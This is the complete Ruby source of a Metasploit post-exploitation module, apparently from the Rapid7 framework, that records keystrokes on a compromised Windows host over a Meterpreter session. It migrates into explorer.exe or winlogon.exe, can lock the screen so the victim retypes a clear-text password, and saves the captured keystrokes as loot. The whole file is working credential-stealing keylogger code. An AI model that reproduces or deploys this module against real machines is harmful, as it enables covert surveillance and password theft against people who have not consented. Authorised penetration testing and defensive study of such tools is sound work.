## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'English' class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::File def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Capture Keystroke Recorder', 'Description' => %q{ This module can be used to capture keystrokes. To capture keystrokes when the session is running as SYSTEM, the MIGRATE option must be enabled and the CAPTURE_TYPE option should be set to one of Explorer, Winlogon, or a specific PID. To capture the keystrokes of the interactive user, the Explorer option should be used with MIGRATE enabled. Keep in mind that this will demote this session to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez ', 'Josh Hale ' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_migrate stdapi_railgun_api stdapi_sys_config_getuid stdapi_sys_process_attach stdapi_sys_process_get_processes stdapi_sys_process_getpid stdapi_ui_get_keys_utf8 stdapi_ui_start_keyscan stdapi_ui_stop_keyscan ] } } ) ) register_options( [ OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]), OptBool.new('MIGRATE', [false, 'Perform Migration.', false]), OptInt.new('INTERVAL', [false, 'Time interval to save keystrokes in seconds', 5]), OptInt.new('PID', [false, 'Process ID to migrate to', nil]), OptEnum.new('CAPTURE_TYPE', [ false, 'Capture keystrokes for Explorer, Winlogon or PID', 'explorer', ['explorer', 'winlogon', 'pid'] ]) ] ) register_advanced_options( [ OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]), OptEnum.new('TimeOutAction', [ true, 'Action to take when session response timeout occurs.', 'wait', ['wait', 'exit'] ]) ] ) end def run print_status("Executing module against #{sysinfo['Computer']}") if datastore['MIGRATE'] if datastore['CAPTURE_TYPE'] == 'pid' return unless migrate_pid(datastore['PID'], session.sys.process.getpid) else return unless process_migrate end end lock_screen if datastore['LOCKSCREEN'] && get_process_name == 'winlogon.exe' if start_keylogger @logfile = set_log keycap end end # Initial Setup values # # @return [void] A useful return value is not expected here def setup @logfile = nil @timed_out = false @timed_out_age = nil # Session age when it timed out @interval = datastore['INTERVAL'].to_i @wait = datastore['TimeOutAction'] == 'wait' if @interval < 1 print_error('INTERVAL value out of bounds. Setting to 5.') @interval = 5 end end # This function sets the log file and loot entry. # # @return [StringClass] Returns the path name to the stored loot filename def set_log store_loot('host.windows.keystrokes', 'text/plain', session, "Keystroke log from #{get_process_name} on #{sysinfo['Computer']} with user #{client.sys.config.getuid} started at #{Time.now}\n\n", 'keystrokes.txt', 'User Keystrokes') end # This writes a timestamp event to the output file. # # @return [void] A useful return value is not expected here def time_stamp(event) file_local_write(@logfile, "\nKeylog Recorder #{event} at #{Time.now}\n\n") end # This locks the Windows screen if so requested in the datastore. # # @return [void] A useful return value is not expected here def lock_screen print_status('Locking the desktop...') lock_info = session.railgun.user32.LockWorkStation() if lock_info['GetLastError'] == 0 print_status('Screen has been locked') else print_error('Screen lock failed') end end # This function returns the process name that the session is running in. # # Note: "session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module. # # @return [String Class] the session process's name # @return [NilClass] Session match was not found def get_process_name processes = client.sys.process.get_processes current_pid = session.sys.process.getpid processes.each do |proc| return proc['name'] if proc['pid'] == current_pid end return nil end # This function evaluates the capture type and migrates accordingly. # In the event of errors, it will default to the explorer capture type. # # @return [TrueClass] if it successfully migrated # @return [FalseClass] if it failed to migrate def process_migrate captype = datastore['CAPTURE_TYPE'] if captype == 'winlogon' if is_uac_enabled? && !is_admin? print_error('UAC is enabled on this host! Winlogon migration will be blocked. Exiting...') return false else return migrate(get_pid('winlogon.exe'), 'winlogon.exe', session.sys.process.getpid) end end return migrate(get_pid('explorer.exe'), 'explorer.exe', session.sys.process.getpid) end # This function returns the first process id of a process with the name provided. # It will make sure that the process has a visible user meaning that the session has rights to that process. # Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module. # # @return [Integer] the PID if one is found # @return [NilClass] if no PID was found def get_pid(proc_name) processes = client.sys.process.get_processes processes.each do |proc| if proc['name'] == proc_name && proc['user'] != '' return proc['pid'] end end return nil end # This function attempts to migrate to the specified process by Name. # # @return [TrueClass] if it successfully migrated # @return [FalseClass] if it failed to migrate def migrate(target_pid, proc_name, current_pid) if !target_pid print_error("Could not migrate to #{proc_name}. Exiting...") return false end print_status("Trying #{proc_name} (#{target_pid})") if target_pid == current_pid print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") return true end begin client.core.migrate(target_pid) print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") return true rescue Rex::Post::Meterpreter::RequestError => e print_error("Could not migrate to #{proc_name}. Exiting...") print_error(e.to_s) return false end end # This function attempts to migrate to the specified process by PID only. # # @return [TrueClass] if it successfully migrated # @return [FalseClass] if it failed to migrate def migrate_pid(target_pid, current_pid) if !target_pid print_error("Could not migrate to PID #{target_pid}. Exiting...") return false end if !has_pid?(target_pid) print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...") return false end print_status("Trying PID: #{target_pid}") if target_pid == current_pid print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") return true end begin client.core.migrate(target_pid) print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") return true rescue Rex::Post::Meterpreter::RequestError => e print_error("Could not migrate to PID #{target_pid}. Exiting...") print_error(e.to_s) return false end end # This function starts the keylogger # # @return [TrueClass] keylogger started successfully # @return [FalseClass] keylogger failed to start def start_keylogger begin # Stop keyscan if it was already running for some reason. session.ui.keyscan_stop rescue StandardError nil end begin print_status('Starting the keylog recorder...') session.ui.keyscan_start return true rescue StandardError print_error("Failed to start the keylog recorder: #{$ERROR_INFO}") return false end end # This function dumps the keyscan and uses the API function to parse # the extracted keystrokes. # # @return [void] A useful return value is not expected here def write_keylog_data output = session.ui.keyscan_dump if !output.empty? print_good("Keystrokes captured #{output}") if datastore['ShowKeystrokes'] file_local_write(@logfile, "#{output}\n") end end # This function manages the key recording process # It stops the process if the session is killed or goes stale # # @return [void] A useful return value is not expected here def keycap rec = 1 print_status("Keystrokes being saved in to #{@logfile}") print_status('Recording keystrokes...') while rec == 1 begin sleep(@interval) if session_good? write_keylog_data elsif !session.alive? vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.") rec = 0 end rescue ::Exception => e if e.class.to_s == 'Rex::TimeoutError' @timed_out_age = get_session_age @timed_out = true if @wait time_stamp('timed out - now waiting') vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...") else time_stamp('timed out - exiting') print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.") rec = 0 end elsif e.class.to_s == 'Interrupt' print_status('User interrupt.') rec = 0 else print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...") @timed_out = true rec = 0 end end end end # This function returns the number of seconds since the last time # that the session checked in. # # @return [Integer Class] Number of seconds since last checkin def get_session_age return Time.now.to_i - session.last_checkin.to_i end # This function makes sure a session is still alive acording to the Framework. # It also checks the timed_out flag. Upon resume of session it resets the flag so # that logging can start again. # # @return [TrueClass] Session is still alive (Framework) and not timed out # @return [FalseClass] Session is dead or timed out def session_good? return false if !session.alive? if @timed_out if get_session_age < @timed_out_age && @wait time_stamp('resumed') @timed_out = false # reset timed out to false, if module set to wait and session becomes active again. end return !@timed_out end return true end # This function writes off the last set of key strokes # and shuts down the key logger # # @return [void] A useful return value is not expected here def finish_up print_status('Shutting down keylog recorder. Please wait...') last_known_timeout = session.response_timeout session.response_timeout = 20 # Change timeout so job will exit in 20 seconds if session is unresponsive begin sleep(@interval) write_keylog_data rescue ::Exception => e print_error("Keylog recorder encountered error: #{e.class} (#{e}) Exiting...") if e.class.to_s != 'Rex::TimeoutError' # Don't care about timeout, just exit session.response_timeout = last_known_timeout return end begin session.ui.keyscan_stop rescue StandardError nil end session.response_timeout = last_known_timeout end # This function cleans up the module. # finish_up was added for a clean exit when this module is run as a job. # # Known Issue: This appears to run twice when killing the job. Not sure why. # Does not cause issues with output or errors. # # @return [void] A useful return value is not expected here def cleanup if @logfile # make sure there is a log file meaning keylog started and migration was successful, if used. finish_up if session_good? time_stamp('exited') end end end